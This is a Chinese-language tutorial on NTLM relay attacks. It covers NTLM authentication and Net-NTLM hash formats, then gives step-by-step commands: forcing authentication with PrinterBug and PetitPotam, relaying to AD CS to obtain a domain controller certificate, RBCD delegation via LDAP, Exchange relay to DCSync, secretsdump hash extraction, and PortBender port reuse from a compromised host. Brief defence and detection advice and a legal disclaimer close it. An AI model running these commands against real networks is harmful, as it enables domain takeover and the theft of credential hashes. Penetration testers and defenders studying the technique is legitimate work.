NTLM realy
字数 1484 2025-08-06 18:08:09

NTLM Relay攻击原理与实战指南

1. NTLM认证机制基础

1.1 工作组环境认证流程

  1. 协商阶段

    • 客户端发送Negotiate消息(包含明文用户名和协商信息)
    • 服务器回复Challenge消息(包含16位随机Challenge值)
  2. 质询阶段

    • 客户端使用本地缓存的NTLM Hash加密Challenge生成Response
    • 组合Response、用户名和Challenge形成Net-NTLM Hash
  3. 验证阶段

    • 服务端用本地NTLM Hash加密Challenge并与收到的Response比较

1.2 域环境认证流程

  1. 前两步与工作组相同
  2. 服务端将Net-NTLM Hash发送给域控
  3. 域控使用用户NTLM Hash加密Challenge并与Response比较

2. Net-NTLM Hash组成分析

2.1 Net-NTLM Hash v1格式

username:hostname:LM responce:NTLM responce:challenge

2.2 Net-NTLM Hash v2格式(当前主流)

username:domain:challenge:HMAC-MD5:blob

抓包获取各字段

  • Type2包获取Challenge
  • Type3包获取:
    • User name
    • Domain name
    • HMAC-MD5(NTProofStr)
    • blob(Response减去NTProofStr)

3. NTLM Relay攻击原理

3.1 基本流程

  1. 通过中间人攻击或漏洞强制认证流程
  2. 获取Net-NTLM Hash
  3. 进行密码破解或重放攻击

3.2 攻击场景差异

  • 工作组:难以中继,因密码存储在各机器本地SAM
  • 域环境:可中继,因密码集中存储在域控NTDS.dit

4. 常用攻击手法

4.1 基础攻击方法

  1. 系统命令触发

    • net use \\ip地址
    • dir \\ip地址
  2. Web漏洞利用

    • 文件包含漏洞触发NTLM认证

4.2 域环境实战攻击

4.2.1 基础工具使用

  1. ntlmrelayx.py

    python3 ntlmrelayx.py -t 目标IP -c "命令" -smb2support
    
  2. smbrelayx.py

    python3 smbrelayx.py -h 目标IP -c "命令"
    
  3. MultiRelay.py

    python3 MultiRelay.py -t 目标IP -u ALL
    

4.2.2 漏洞利用

  1. PrinterBug漏洞

    python3 printerbug.py 域/用户:密码@受害机器 攻击者IP
    
  2. PetitPotam漏洞

    python3 PetitPotam.py -d 域名 -u 用户名 -p 密码 攻击者IP 目标IP
    

5. 高级攻击场景

5.1 中继至AD CS(证书服务)

利用流程

  1. 强制域控发起NTLM认证
  2. 中继到AD CS的Web注册接口
  3. 为域控机器账户申请证书
  4. 利用证书获取域控权限

实战命令

# 监听
python3 ntlmrelayx.py -t http://ADCS_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# 强制认证
python3 PetitPotam.py 攻击者IP 域控IP

# 获取票据
python3 gettgtpkinit.py -pfx-base64 "证书" -dc-ip 域控IP 域名/机器账户$ 票据文件

5.2 中继至LDAP

5.2.1 RBCD+PetitPotam

环境要求

  • 普通域用户权限
  • 可添加机器账户

攻击步骤

  1. 添加机器账户:

    python3 addcomputer.py 域名/用户:密码 -computer-name 机器名$ -computer-pass 密码 -dc-ip 域控IP
    
  2. 启动监听:

    python3 ntlmrelayx.py -t ldap://域控IP -debug --delegate-access --escalate-user 机器名$ -smb2support --remove-mic
    
  3. 强制认证:

    python3 PetitPotam.py -d 域名 -u 用户名 -p 密码 攻击者IP 目标IP
    
  4. 获取票据:

    python3 getST.py 域名/机器名$:密码 -spn 服务/目标机器 -impersonate Administrator -dc-ip 域控IP
    

5.2.2 Exchange+PetitPotam

利用条件

  • Exchange服务器(任何版本)
  • 域内任意账户
  • 可利用CVE-2019-1040绕过NTLM MIC

攻击流程

  1. 启动监听:

    python3 ntlmrelayx.py -t ldap://域控IP --remove-mic --escalate-user 用户名 -smb2support
    
  2. 强制Exchange认证:

    python3 PetitPotam.py -d 域名 -u 用户名 -p 密码 攻击者IP Exchange_IP
    
  3. 获取DCSync权限后导出哈希:

    python3 secretsdump.py 域名/用户:密码@域控IP -just-dc-ntlm
    

6. 实战中的NTLM中继

6.1 外网渗透场景

拓扑需求

  • 已控外网服务器
  • 需要端口复用技术

操作步骤

  1. 上传PortBender.dll和WinDivert64.sys
  2. 复用445端口:
    PortBender redirect 445 7445
    
  3. 端口转发:
    rportfwd 7445 攻击者IP 445
    
  4. 通过代理中继:
    proxychains python3 MultiRelay.py -t 内网目标IP -u ALL
    

7. 防御建议

  1. 启用SMB签名(域控默认开启)
  2. 启用LDAP签名和通道绑定
  3. 限制NTLM使用,优先使用Kerberos
  4. 监控异常认证请求
  5. 及时修补PrinterBug、PetitPotam等漏洞

8. 检测工具

  1. RunFinger.py(检测SMB签名):

    python3 RunFinger.py -i 网段
    
  2. Wireshark抓包分析NTLM流量

  3. 日志分析异常认证事件


注:本文仅供学习研究使用,请勿用于非法用途。实施安全测试前请确保获得合法授权。

NTLM Relay攻击原理与实战指南 1. NTLM认证机制基础 1.1 工作组环境认证流程 协商阶段 : 客户端发送Negotiate消息(包含明文用户名和协商信息) 服务器回复Challenge消息(包含16位随机Challenge值) 质询阶段 : 客户端使用本地缓存的NTLM Hash加密Challenge生成Response 组合Response、用户名和Challenge形成Net-NTLM Hash 验证阶段 : 服务端用本地NTLM Hash加密Challenge并与收到的Response比较 1.2 域环境认证流程 前两步与工作组相同 服务端将Net-NTLM Hash发送给域控 域控使用用户NTLM Hash加密Challenge并与Response比较 2. Net-NTLM Hash组成分析 2.1 Net-NTLM Hash v1格式 2.2 Net-NTLM Hash v2格式(当前主流) 抓包获取各字段 : Type2包获取Challenge Type3包获取: User name Domain name HMAC-MD5(NTProofStr) blob(Response减去NTProofStr) 3. NTLM Relay攻击原理 3.1 基本流程 通过中间人攻击或漏洞强制认证流程 获取Net-NTLM Hash 进行密码破解或重放攻击 3.2 攻击场景差异 工作组 :难以中继,因密码存储在各机器本地SAM 域环境 :可中继,因密码集中存储在域控NTDS.dit 4. 常用攻击手法 4.1 基础攻击方法 系统命令触发 : net use \\ip地址 dir \\ip地址 Web漏洞利用 : 文件包含漏洞触发NTLM认证 4.2 域环境实战攻击 4.2.1 基础工具使用 ntlmrelayx.py : smbrelayx.py : MultiRelay.py : 4.2.2 漏洞利用 PrinterBug漏洞 : PetitPotam漏洞 : 5. 高级攻击场景 5.1 中继至AD CS(证书服务) 利用流程 : 强制域控发起NTLM认证 中继到AD CS的Web注册接口 为域控机器账户申请证书 利用证书获取域控权限 实战命令 : 5.2 中继至LDAP 5.2.1 RBCD+PetitPotam 环境要求 : 普通域用户权限 可添加机器账户 攻击步骤 : 添加机器账户: 启动监听: 强制认证: 获取票据: 5.2.2 Exchange+PetitPotam 利用条件 : Exchange服务器(任何版本) 域内任意账户 可利用CVE-2019-1040绕过NTLM MIC 攻击流程 : 启动监听: 强制Exchange认证: 获取DCSync权限后导出哈希: 6. 实战中的NTLM中继 6.1 外网渗透场景 拓扑需求 : 已控外网服务器 需要端口复用技术 操作步骤 : 上传PortBender.dll和WinDivert64.sys 复用445端口: 端口转发: 通过代理中继: 7. 防御建议 启用SMB签名(域控默认开启) 启用LDAP签名和通道绑定 限制NTLM使用,优先使用Kerberos 监控异常认证请求 及时修补PrinterBug、PetitPotam等漏洞 8. 检测工具 RunFinger.py (检测SMB签名): Wireshark 抓包分析NTLM流量 日志分析 异常认证事件 注:本文仅供学习研究使用,请勿用于非法用途。实施安全测试前请确保获得合法授权。